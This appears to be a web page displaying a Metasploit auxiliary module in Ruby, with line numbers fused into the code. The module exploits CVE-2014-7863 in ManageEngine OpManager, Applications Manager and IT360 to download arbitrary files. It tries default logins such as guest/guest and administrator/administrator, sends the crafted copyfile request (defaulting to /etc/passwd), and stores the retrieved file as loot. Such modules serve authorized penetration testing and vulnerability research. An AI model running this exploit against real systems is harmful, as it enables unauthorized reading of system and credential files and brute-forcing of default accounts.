Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/manageengine_file_download.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'ManageEngine Multiple Products Arbitrary File Download',14'Description' => %q{15This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet16on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is17unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This18module will attempt to login using the default credentials for the administrator and19guest accounts; alternatively you can provide a pre-authenticated cookie or a username20and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually218300). This module has been tested on both Windows and Linux with several different22versions. Windows paths have to be escaped with 4 backslashes on the command line. There is23a companion module that allows the recursive listing of any directory. This24vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2014-7863'],32['OSVDB', '117695'],33['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],34['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']35],36'DisclosureDate' => '2015-01-28'37)38)3940register_options(41[42Opt::RPORT(80),43OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),44OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),45OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),46OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),47OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),48OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])49]50)51end5253def post_auth?54true55end5657def get_cookie58cookie = nil59res = send_request_cgi({60'method' => 'GET',61'uri' => normalize_uri(datastore['TARGETURI'])62})6364if res65cookie = res.get_cookies66end6768cookie69end7071def detect_it36072res = send_request_cgi({73'uri' => '/',74'method' => 'GET'75})7677if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/78return true79end8081return false82end8384def get_it360_cookie_name85res = send_request_cgi({86'method' => 'GET',87'uri' => normalize_uri('/')88})8990cookie = res.get_cookies9192if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/93return ::Regexp.last_match(1)94else95return nil96end97end9899def authenticate_it360(port, path, username, password)100if datastore['DOMAIN_NAME'].nil?101vars_post = {102'LOGIN_ID' => username,103'PASSWORD' => password,104'isADEnabled' => 'false'105}106else107vars_post = {108'LOGIN_ID' => username,109'PASSWORD' => password,110'isADEnabled' => 'true',111'domainName' => datastore['DOMAIN_NAME']112}113end114115res = send_request_cgi({116'rport' => port,117'method' => 'POST',118'uri' => normalize_uri(path),119'vars_get' => {120'service' => 'OpManager',121'furl' => '/',122'timestamp' => Time.now.to_i123},124'vars_post' => vars_post125})126127if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/128# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"129return res.get_cookies130end131132nil133end134135def login_it360136# Do we already have a valid cookie? If yes, just return that.137unless datastore['IAMAGENTTICKET'].nil?138cookie_name = get_it360_cookie_name139cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'140return cookie141end142143# get the correct path, host and port144res = send_request_cgi({145'method' => 'GET',146'uri' => normalize_uri('/')147})148149if res && res.redirect?150uri = [ res.redirection.port, res.redirection.path ]151else152return nil153end154155if datastore['USERNAME'] && datastore['PASSWORD']156print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")157cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])158unless cookie.nil?159return cookie160end161end162163default_users = ['guest', 'administrator', 'admin']164165default_users.each do |user|166print_status("Trying to authenticate as #{user}...")167cookie = authenticate_it360(uri[0], uri[1], user, user)168unless cookie.nil?169return cookie170end171end172173nil174end175176def run177# No point to continue if filepath is not specified178if datastore['FILEPATH'].empty?179print_error('Please supply the path of the file you want to download.')180return181end182183if detect_it360184print_status('Detected IT360, attempting to login...')185cookie = login_it360186if cookie.nil?187print_error('Failed to login to IT360!')188return189end190else191cookie = get_cookie192end193194servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'195res = send_request_cgi({196'method' => 'GET',197'cookie' => cookie,198'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)199})200if res && res.code == 404201servlet = 'FailOverHelperServlet'202end203204# Create request205begin206print_status("Downloading file #{datastore['FILEPATH']}")207res = send_request_cgi({208'method' => 'POST',209'cookie' => cookie,210'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),211'vars_get' => {212'operation' => 'copyfile',213'fileName' => datastore['FILEPATH']214}215})216rescue Rex::ConnectionRefused217print_error('Could not connect.')218return219end220221# Show data if needed222if res && res.code == 200223224if res.body.to_s.bytesize == 0225print_error('0 bytes returned, file does not exist or is empty.')226return227end228229vprint_line(res.body.to_s)230fname = File.basename(datastore['FILEPATH'])231232path = store_loot(233'manageengine.http',234'application/octet-stream',235datastore['RHOST'],236res.body,237fname238)239print_good("File saved in: #{path}")240else241print_error('Failed to download file.')242end243end244end245246247